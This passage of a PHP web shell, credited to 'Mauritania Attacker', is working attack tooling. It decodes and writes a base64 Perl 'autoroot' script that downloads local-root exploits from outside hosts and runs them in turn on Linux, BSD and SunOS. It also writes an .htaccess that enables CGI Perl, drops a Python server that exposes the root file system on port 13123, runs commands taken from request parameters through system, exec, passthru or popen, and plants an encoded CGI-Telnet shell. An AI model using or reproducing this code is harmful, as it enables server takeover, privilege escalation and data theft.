IuNi45LTIwMDUtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oIi4vbG9jYWwtMi42LjktMjAwNS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9sb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oImNobW9kIDc3NyBsb2NhbC1yb290LWV4cGxvaXQtZ2F5cm9zIik7DQpzeXN0ZW0oIi4vbG9jYWwtcm9vdC1leHBsb2l0LWdheXJvcyIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcHJpdjQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHByaXY0Iik7DQpzeXN0ZW0oIi4vcHJpdjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3B3bmtlcm5lbCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7DQpzeXN0ZW0oIi4vcHdua2VybmVsIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC9yb290LnB5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyByb290LnB5Iik7DQpzeXN0ZW0oIi4vcm9vdC5weSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvcnVueCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgcnVueCIpOw0Kc3lzdGVtKCIuL3J1bngiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290L3Rpdm9saSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgdGl2b2xpIik7DQpzeXN0ZW0oIi4vdGl2b2xpIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC91YnVudHUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IHVidW50dSIpOw0Kc3lzdGVtKCIuL3VidW50dSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2UvdHhmZmd2LnppcCIpOw0Kc3lzdGVtKCJ1bnppcCB0eGZmZ3YuemlwIik7DQpzeXN0ZW0oImNobW9kICt4IHRyb2xsZWQiKTsNCnN5c3RlbSgiLi90cm9sbGVkIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KDQpzeXN0ZW0oImNobW9kICt4IDNfWCIpOw0Kc3lzdGVtKCIuLzNfWCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCg0KDQoNCnByaW50ICJFbmQgTGludXguLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gImJzZCIgKQ0Kew0KcHJpbnQgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyNcbiI7DQpwcmludCAiIyBMaW51eC9Cc2QvU3Vub3MgQVVUTy1ST09URVIgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgSGF2ZSBhIGNvZmZlICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyAgICAgICBSb290aW5nIEJTRCAgICAgICAgICAgICNcbiI7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnN5c3RlbSgidW5hbWUgLWE7bWtkaXIgYnNkO2NkIGJzZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL2EucG9tZi5zZS9qd2dvYm4uemlwIik7DQpzeXN0ZW0oInVuemlwIGp3Z29ibi56aXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDQ4bG9jYWwiKTsNCnN5c3RlbSgiLi80OGxvY2FsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgiY2htb2QgNzc3IGJzZGxvY2FsIik7DQpzeXN0ZW0oIi4vYnNkbG9jYWwiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJjaG1vZCA3NzcgQlNEMy42X2xvY2Fscm9vdCIpOw0Kc3lzdGVtKCIuL0JTRDMuNl9sb2NhbHJvb3QiKTsNCnN5c3RlbSgiaWQiKTsNCg0KDQoNCg0KcHJpbnQgIkVuZCBCc2QuLiBbK11cbiI7DQp9DQppZiAoJEFSR1ZbMF0gPX4gInN1bm9zIiApDQp7DQpwcmludCAiIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsNCnByaW50ICIjIExpbnV4L0JzZC9TdW5vcyBBVVRPLVJPT1RFUiAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICBIYXZlIGEgY29mZmUgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI1xuIjsNCnByaW50ICIjICAgICAgIFJvb3RpbmcgU3Vub3MgICAgICAgICAgI1xuIjsNCnByaW50ICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOw0Kc3lzdGVtKCJ1bmFtZSAtYTtta2RpciBzdW5vcztjZCBzdW5vcyIpOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9hLnBvbWYuc2Uva2twZ3ZzLnppcCIpOw0Kc3lzdGVtKCJ1bnppcCBra3BndnMuemlwIik7DQpzeXN0ZW0oImNobW9kIDc3NyB4X29zaC5wbCAiKTsNCnN5c3RlbSgicGVybCB4X29zaC5wbCAiKTsNCnN5c3RlbSgiaWQiKTsNCg0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9ybWNjdXJkeS5jb20vc2NyaXB0cy9kb3dubG9hZGVkL2xvY2Fscm9vdC9TdW5PUyUyMDUuOS9zdW5vczU5Iik7DQpzeXN0ZW0oImNobW9kIDc3NyBzdW5vczU5Iik7DQpzeXN0ZW0oIi4vc3Vub3M1OSIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS44L2ZpbmFsIik7DQpzeXN0ZW0oImNobW9kIDc3NyBmaW5hbCIpOw0Kc3lzdGVtKCIuL2ZpbmFsIik7DQpzeXN0ZW0oImlkIik7DQoNCnN5c3RlbSgid2dldCBodHRwOi8vcm1jY3VyZHkuY29tL3NjcmlwdHMvZG93bmxvYWRlZC9sb2NhbHJvb3QvU3VuT1MlMjA1Ljcvc29sYXJpczI3Iik7DQpzeXN0ZW0oImNobW9kICt4IHNvbGFyaXMyNyIpOw0Kc3lzdGVtKCIuL3NvbGFyaXMyNyIpOw0Kc3lzdGVtKCJpZCIpOw0KDQpzeXN0ZW0oIndnZXQgaHR0cDovL3JtY2N1cmR5LmNvbS9zY3JpcHRzL2Rvd25sb2FkZWQvbG9jYWxyb290L1N1bk9TJTIwNS4xMC9zdW5vczUxMCIpOw0Kc3lzdGVtKCJjaG1vZCAreCBzdW5vczUxMCIpOw0Kc3lzdGVtKCIuL3N1bm9zNTEwIik7DQpzeXN0ZW0oImlkIik7DQoNCg0KcHJpbnQgIkVuZCBTdW5PUyAuLlsrXVxuIjsNCn0=';
2191$chmoderr = fopen("lulZ/autoroot.pl" ,"w+");
2192$write = fwrite ($chmoderr ,base64_decode($shellw0rm));
2193if($write){
2194echo '<p>Script Autoroot is here ===> '.getcwd().'/lulZ/autoroot.pl</p>';
2195fclose($chmoderr);
2196chmod("lulZ/autoroot.pl",0755);
2197
2198
2199//Extracting htaccess to enable perl handler and type all depends on the server :D
2200$htaccess = 'T3B0aW9ucyBJbmNsdWRlcyBJbmNsdWRlc05PRVhFQyBNdWx0aVZpZXdzIEluZGV4ZXMgRXhlY0NHSQ0KDQpBZGRUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtY2dpIC5wbA0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLWNnaSAucGwNCg0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA0KQWRkSGFuZGxlciBjZ2ktc2NyaXB0IC5wbA==';
2201$lol = fopen("lulZ/.htaccess" ,"w+");
2202$dwrite = fwrite ($lol ,base64_decode($htaccess));
2203fclose($chmoderr);
2204
2205echo '<p>Back Connect and go to this directory ====> cd '.getcwd().'/lulZ/</p>';
2206echo "<p>Autoroot Command : perl autoroot.pl</p>";
2207
2208}
2209}
2210
2211if(isset($_GET['action']) && $_GET['action'] == 'pytcp'){
2212echo '<center><b class="conte">
2213<a href="?action=sym">Symlink Info</a> -
2214<a href="?action=dose">Cms Scanner</a> -
2215<a href="?action=vkill">Perl based Symlink</a> -
2216<a href="?action=file">Symlink Manual</a> -
2217<a href="?action=manu">Manually Retrieve Config</a> -
2218<a href="?action=ensim">Enable Symlink If Disabled</a> -
2219<a href="?action=pytcp">Python Bypass Forbidden Via TCP Protocol</a> -
2220<a href="?action=simby">Symlink Bypass 2014</a> </center>
2221</b>';
2222echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Forbidden with Python via TCP Protocol</span><center><br>';
2223echo '<p><font face="Tahoma" align="center" size="2" color="#007700"> Coded By Mauritania Attacker </font></p><br>';
2224echo '
2225<form method=get action="'.$me.'">
2226<p>
2227<textarea class="area" rows="17" name="S1" cols="70" >';
2228$shellw0rm = 'aW1wb3J0IFNpbXBsZUhUVFBTZXJ2ZXINCmltcG9ydCBTb2NrZXRTZXJ2ZXINCmltcG9ydCBvcw0KIA0KcG9ydCA9IDEzMTIzDQogDQppZiBfX25hbWVfXz09J19fbWFpbl9fJzoNCiAgICAgICAgb3MuY2hkaXIoJy8nKQ0KICAgICAgICBIYW5kbGVyID0gU2ltcGxlSFRUUFNlcnZlci5TaW1wbGVIVFRQUmVxdWVzdEhhbmRsZXINCiANCiAgICAgICAgaHR0cGQgPSBTb2NrZXRTZXJ2ZXIuVENQU2VydmVyKCgiIiwgcG9ydCksIEhhbmRsZXIpDQogDQogICAgICAgIHByaW50KCJOb3cgb3BlbiB0aGlzIHNlcnZlciBvbiB3ZWJicm93c2VyIGF0IHBvcnQgOiAiICsgc3RyKHBvcnQpKQ0KICAgICAgICBwcmludCgiZXhhbXBsZTogaHR0cDovL21haG8uY29tOiIgKyBzdHIocG9ydCkpDQogICAgICAgIGh0dHBkLnNlcnZlX2ZvcmV2ZXIoKQ==';
2229$file = fopen("pyProsym.py" ,"w+");
2230$write = fwrite ($file ,base64_decode($shellw0rm));
2231fclose($file);
2232chmod("pyProsym.py",0755);
2233
2234if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){
2235echo $_GET['execmethod']($_GET['command']);}
2236if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){
2237echo $_POST['execmethod']($_POST['command']);}
2238
2239if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){
2240popen($_GET['command'],"r");}
2241
2242echo'</textarea></p><br>
2243<p><center>View Root Like This ===> example: http://site.com:13123</center></p>
2244<p><center>Default port:13123</center></p>
2245<p><center>If you can launch this command from Back Connect it is more better \!/</center></p>
2246<br><p align="center">
2247<strong>Command: python pyProsym.py</strong><input type=hidden name="vw" size="50" value="cmd"> <input type="text" name="command" size="43"> <select name=execmethod>
2248<option value="system">System</option> <option value="exec">Exec</option> <option value="passthru">Passthru</option><option value="popen">popen</option>
2249</select> <input type="submit" value="Execute">
2250</p></form><br><br>';
2251}
2252
2253
2254if(isset($_GET['action']) && $_GET['action'] == 'cgi4e'){
2255mkdir('cgi4e', 0755);
2256chdir('cgi4e');
2257$kokdosya = ".htaccess";
2258$dosya_adi = "$kokdosya";
2259$dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
2260$metin = "AddType application/x-httpd-cgi .izo
2261AddType application/x-httpd-cgi .izo
2262
2263AddHandler cgi-script .izo
2264AddHandler cgi-script .izo";
2265fwrite ( $dosya , $metin ) ;
2266fclose ($dosya);
2267$cgi4e = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQp1c2UgTUlNRTo6QmFzZTY0Ow0KJFZlcnNpb249ICJDR0ktVGVsbmV0IFZlcnNpb24gMS40IjsNCiRFZGl0UGVyc2lvbj0iQW5vbkdob3N0IjsNCg0KJFBhc3N3b3JkID0gInZpcnVzYSI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzDQoJCQkJIyB0byBsb2dpbi4NCnN1YiBJc19XaW4oKXsNCgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7DQoJaWYoJG9zID1+IG0vd2luL2kpew0KCQlyZXR1cm4gMTsNCgl9ZWxzZXsNCgkJcmV0dXJuIDA7DQoJfQ0KfQ0KJFdpbk5UID0gJklzX1dpbigpOwkJCSMgWW91IG5lZWQgdG8gY2hhbmdlIHRoZSB2YWx1ZSBvZiB0aGlzIHRvIDEgaWYNCgkJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQNCgkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UNCgkJCQkJIyBjYW4gbGVhdmUgdGhlIHZhbHVlIGFzIGl0IGlzLg0KDQokTlRDbWRTZXAgPSAiJiI7CQkJIyBUaGlzIGNoYXJhY3RlciBpcyB1c2VkIHRvIHNlcGVyYXRlIDIgY29tbWFuZHMNCgkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULg0KDQokVW5peENtZFNlcCA9ICI7IjsJCQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcw0KCQkJCQkjIGluIGEgY29tbWFuZCBsaW5lIG9uIFVuaXguDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CQkjIFRpbWUgaW4gc2Vjb25kcyBhZnRlciBjb21tYW5kcyB3aWxsIGJlIGtpbGxlZA0KCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcw0KCQkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0DQoJCQkJCSMgdGFrZSB2ZXJ5IGxvbmcgdG8gZXhlY3V0ZSwgbGlrZSAiZmluZCAvIi4NCgkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcw0KCQkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4NCg0KJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlDQoJCQkJCSMgYnJvd3NlciBhcyBzb29uIGFzIGl0IGlzIG91dHB1dCwgb3RoZXJ3aXNlDQoJCQkJCSMgaXQgaXMgYnVmZmVyZWQgYW5kIHNlbmQgd2hlbiB0aGUgY29tbWFuZA0KCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UNCgkJCQkJIyBwaW5nLCBzbyB0aGF0IHlvdSBjYW4gc2VlIHRoZSBvdXRwdXQgYXMgaXQNCgkJCQkJIyBpcyBiZWluZyBnZW5lcmF0ZWQuDQoNCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISENCg0KJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7DQokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7DQokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsNCiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7DQokY29scz0gMTMwOw0KJHJvd3M9IDI2Ow0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBSZWFkcyB0aGUgaW5wdXQgc2VudCBieSB0aGUgYnJvd3NlciBhbmQgcGFyc2VzIHRoZSBpbnB1dCB2YXJpYWJsZXMuIEl0DQojIHBhcnNlcyBHRVQsIFBPU1QgYW5kIG11bHRpcGFydC9mb3JtLWRhdGEgdGhhdCBpcyB1c2VkIGZvciB1cGxvYWRpbmcgZmlsZXMuDQojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uDQojIE90aGVyIHZhcmlhYmxlcyBjYW4gYmUgYWNjZXNzZWQgdXNpbmcgJGlueyd2YXInfSwgd2hlcmUgdmFyIGlzIHRoZSBuYW1lIG9mDQojIHRoZSB2YXJpYWJsZS4gTm90ZTogTW9zdCBvZiB0aGUgY29kZSBpbiB0aGlzIGZ1bmN0aW9uIGlzIHRha2VuIGZyb20gb3RoZXIgQ0dJDQojIHNjcmlwdHMuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUmVhZFBhcnNlIA0Kew0KCWxvY2FsICgqaW4pID0gQF8gaWYgQF87DQoJbG9jYWwgKCRpLCAkbG9jLCAka2V5LCAkdmFsKTsNCgkkTXVsdGlwYXJ0Rm9ybURhdGEgPSAkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLzsNCglpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJHRVQiKQ0KCXsNCgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQoJfQ0KCWVsc2lmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIlBPU1QiKQ0KCXsNCgkJYmlubW9kZShTVERJTikgaWYgJE11bHRpcGFydEZvcm1EYXRhICYgJFdpbk5UOw0KCQlyZWFkKFNURElOLCAkaW4sICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KCX0NCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhDQoJaWYoJEVOVnsnQ09OVEVOVF9UWVBFJ30gPX4gL211bHRpcGFydFwvZm9ybS1kYXRhOyBib3VuZGFyeT0oLispJC8pDQoJew0KCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IA0KCQlAbGlzdCA9IHNwbGl0KC8kQm91bmRhcnkvLCAkaW4pOyANCgkJJEhlYWRlckJvZHkgPSAkbGlzdFsxXTsNCgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOw0KCQkkSGVhZGVyID0gJGA7DQoJCSRCb2R5ID0gJCc7DQogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlDQoJCSRpbnsnZmlsZWRhdGEnfSA9ICRCb2R5Ow0KCQkkSGVhZGVyID1+IC9maWxlbmFtZT1cIiguKylcIi87IA0KCQkkaW57J2YnfSA9ICQxOyANCgkJJGlueydmJ30gPX4gcy9cIi8vZzsNCgkJJGlueydmJ30gPX4gcy9ccy8vZzsNCg0KCQkjIHBhcnNlIHRyYWlsZXINCgkJZm9yKCRpPTI7ICRsaXN0WyRpXTsgJGkrKykNCgkJeyANCgkJCSRsaXN0WyRpXSA9fiBzL14uK25hbWU9JC8vOw0KCQkJJGxpc3RbJGldID1+IC9cIihcdyspXCIvOw0KCQkJJGtleSA9ICQxOw0KCQkJJHZhbCA9ICQnOw0KCQkJJHZhbCA9fiBzLyheKFxyXG5cclxufFxuXG4pKXwoXHJcbiR8XG4kKS8vZzsNCgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkaW57JGtleX0gPSAkdmFsOyANCgkJfQ0KCX0NCgllbHNlICMgc3RhbmRhcmQgcG9zdCBkYXRhICh1cmwgZW5jb2RlZCwgbm90IG11bHRpcGFydCkNCgl7DQoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsNCgkJZm9yZWFjaCAkaSAoMCAuLiAkI2luKQ0KCQl7DQoJCQkkaW5bJGldID1+IHMvXCsvIC9nOw0KCQkJKCRrZXksICR2YWwpID0gc3BsaXQoLz0vLCAkaW5bJGldLCAyKTsNCgkJCSRrZXkgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7DQoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOw0KCQkJJGlueyRrZXl9IC49ICIiIGlmIChkZWZpbmVkKCRpbnska2V5fSkpOw0KCQkJJGlueyRrZXl9IC49ICR2YWw7DQoJCX0NCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIGZ1bmN0aW9uIEVuY29kZURpcjogZW5jb2RlIGJhc2U2NCBQYXRoDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRW5jb2RlRGlyDQp7DQoJbXkgJGRpciA9IHNoaWZ0Ow0KCSRkaXIgPSB0cmltKGVuY29kZV9iYXNlNjQoJGRpcikpOw0KCSRkaXIgPX4gcy8oXHJ8XG4pLy87DQoJcmV0dXJuICRkaXI7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBQYWdlIEhlYWRlcg0KIyBBcmd1bWVudCAxOiBGb3JtIGl0ZW0gbmFtZSB0byB3aGljaCBmb2N1cyBzaG91bGQgYmUgc2V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlSGVhZGVyDQp7DQoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOw0KCW15ICRpZCA9IGBpZGAgaWYoISRXaW5OVCk7DQoJbXkgJGluZm8gPSBgdW5hbWUgLXMgLW4gLXIgLWlgOw0KCXByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOw0KCXByaW50IDw8RU5EOw0KPGh0bWw+DQo8aGVhZD4NCjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4NCjx0aXRsZT5Bbm9uR2hvc3QgQ2dpLVRlbG5ldCBbICRWZXJzaW9uIF08L3RpdGxlPg0KJEh0bWxNZXRhSGVhZGVyDQo8L2hlYWQ+DQo8c3R5bGU+DQpib2R5ew0KZm9udDogMTBwdCBWZXJkYW5hOw0KY29sb3I6ICNmZmY7DQp9DQp0cix0ZCx0YWJsZSxpbnB1dCx0ZXh0YXJlYSB7DQpCT1JERVItUklHSFQ6ICAjM2UzZTNlIDFweCBzb2xpZDsNCkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOw0KQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7DQpCT1JERVItQk9UVE9NOiAjM2UzZTNlIDFweCBzb2xpZDsNCn0NCiNkb21haW4gdHI6aG92ZXJ7DQpiYWNrZ3JvdW5kLWNvbG9yOiAjNDQ0Ow0KfQ0KdGQgew0KY29sb3I6ICMyQkE4RUM7DQp9DQoubGlzdGRpciB0ZHsNCgl0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQoubGlzdGRpciB0aHsNCgljb2xvcjogI0ZGOTkwMDsNCn0NCi5kaXIsLmZpbGUNCnsNCgl0ZXh0LWFsaWduOiBsZWZ0ICFpbXBvcnRhbnQ7DQp9DQouZGlyew0KCWZvbnQtc2l6ZTogMTBwdDsgDQoJZm9udC13ZWlnaHQ6IGJvbGQ7DQp9DQp0YWJsZSB7DQpCQUNLR1JPVU5ELUNPTE9SOiAjMTExOw0KfQ0KaW5wdXQgew0KQkFDS0dST1VORC1DT0xPUjogQmxhY2s7DQpjb2xvcjogI2ZmOTkwMDsNCn0NCmlucHV0LnN1Ym1pdCB7DQp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47DQpjb2xvcjogI0ZGRkZGRjsNCmJvcmRlci1jb2xvcjogIzAwOTkwMDsNCn0NCmNvZGUgew0KYm9yZGVyOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogd2hpbGU7DQp9DQpydW4gew0KYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7DQpjb2xvcjogI0ZGMDBBQTsNCn0NCnRleHRhcmVhIHsNCkJBQ0tHUk9VTkQtQ09MT1I6ICMxYjFiMWI7DQpmb250OiBGaXhlZHN5cyBib2xkOw0KY29sb3I6ICNhYWE7DQp9DQpBOmxpbmsgew0KCUNPTE9SOiAjMkJBOEVDOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6dmlzaXRlZCB7DQoJQ09MT1I6ICMyQkE4RUM7IFRFWFQtREVDT1JBVElPTjogbm9uZQ0KfQ0KQTpob3ZlciB7DQoJdGV4dC1zaGFkb3c6IDBwdCAwcHQgMC4zZW0gY3lhbiwgMHB0IDBwdCAwLjNlbSBjeWFuOw0KCWNvbG9yOiAjRkZGRkZGOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCkE6YWN0aXZlIHsNCgljb2xvcjogUmVkOyBURVhULURFQ09SQVRJT046IG5vbmUNCn0NCi5saXN0ZGlyIHRyOmhvdmVyew0KCWJhY2tncm91bmQ6ICM0NDQ7DQp9DQoubGlzdGRpciB0cjpob3ZlciB0ZHsNCgliYWNrZ3JvdW5kOiAjNDQ0Ow0KCXRleHQtc2hhZG93OiAwcHQgMHB0IDAuM2VtIGN5YW4sIDBwdCAwcHQgMC4zZW0gY3lhbjsNCgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOw0KfQ0KLm5vdGxpbmV7DQoJYmFja2dyb3VuZDogIzExMTsNCn0NCi5saW5lew0KCWJhY2tncm91bmQ6ICMyMjI7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQpmdW5jdGlvbiBFbmNvZGVyKG5hbWUpDQp7DQoJdmFyIGUgPSAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQobmFtZSk7DQoJZS52YWx1ZSA9IGJ0b2EoZS52YWx1ZSk7DQoJcmV0dXJuIHRydWU7DQp9DQpmdW5jdGlvbiBjaG1vZF9mb3JtKGksZmlsZSkNCnsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZVBlcm1zXyIraSkuaW5uZXJIVE1MPSI8Zm9ybSBuYW1lPUZvcm1QZXJtc18iICsgaSsgIiBhY3Rpb249JycgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdndWknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWQgdmFsdWU9JyRFbmNvZGVDdXJyZW50RGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7DQoJ